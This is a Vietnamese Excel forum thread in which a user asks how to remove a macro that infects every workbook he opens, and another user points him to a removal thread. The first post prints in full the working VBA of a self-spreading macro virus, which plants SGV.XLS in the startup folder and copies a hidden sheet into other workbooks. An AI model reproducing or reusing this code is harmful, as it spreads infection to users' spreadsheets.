Em cần trợ giúp xóa code VBA bị thêm vào mặc định (1 người xem)

[ghouls1]

Kính thưa các bác, máy tính em khi bật bất kì 1 file exel nào lên đều bị dính 1 cái code mặc định khiến máy không thể mở nhiều file. Kính mong các bác giúp em làm cách nào để xóa triệt để cái này. Vì em thử xóa sạch code của cái project đó thì mỗi lần bật lên nó hiện popup code lỗi rất khó chịu ạ. Em cảm ơn trước ạ.

Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "SGV.XLS")

If m$ = "SGV.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10



Select Case whichfile

Case 10

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

Sheets("SGV").visible = True

Sheets("SGV").Select

Sheets("SGV").Copy

With ActiveWorkbook

.Title = ""

.Subject = ""

.Author = ""

.Keywords = ""

.Comments = ""

End With

newname$ = ActiveWorkbook.Name

c4$ = CurDir()

ChDir Application.StartupPath

ActiveWindow.visible = False

Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "SGV.XLS", FileFormat:=xlNormal _

, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _

False, CreateBackup:=False

ChDir c4$

Workbooks(n4$).Sheets("SGV").visible = False

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "SGV.XLS!check_files"

Case 1

Application.ScreenUpdating = False

n4$ = ActiveWorkbook.Name

p4$ = ActiveWorkbook.Path

s$ = Workbooks(n4$).Sheets(1).Name

If s$ <> "SGV" Then

Workbooks("SGV.XLS").Sheets("SGV").Copy before:=Workbooks(n4$).Sheets(1)

Workbooks(n4$).Sheets("SGV").visible = False

Else

End If

Application.OnSheetActivate = ""

Application.ScreenUpdating = True

Application.OnSheetActivate = "SGV.XLS!check_files"

Case Else

End Select

End Sub

 

[Phuocam]

Kính thưa các bác, máy tính em khi bật bất kì 1 file exel nào lên đều bị dính 1 cái code mặc định khiến máy không thể mở nhiều file. Kính mong các bác giúp em làm cách nào để xóa triệt để cái này. Vì em thử xóa sạch code của cái project đó thì mỗi lần bật lên nó hiện popup code lỗi rất khó chịu ạ. Em cảm ơn trước ạ.

Thử làm theo chủ đề này.

Virus NEGS.xls và macro foxz

Chào mọi người, File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko? Xin cảm ơn!

www.giaiphapexcel.com

 

[ghouls1]

Thử làm theo chủ đề này.

Virus NEGS.xls và macro foxz

Chào mọi người, File excel của mình bị nhiễm virus NEGS và mã code foxz này gây lỗi data. Mình đã quét bằng BKAV tool và KIS nhưng không triệt để. Có cách nào loại bỏ code foxz gây lỗi này ko? Xin cảm ơn!

www.giaiphapexcel.com

Dạ em làm được rồi ạ, em cảm ơn ạ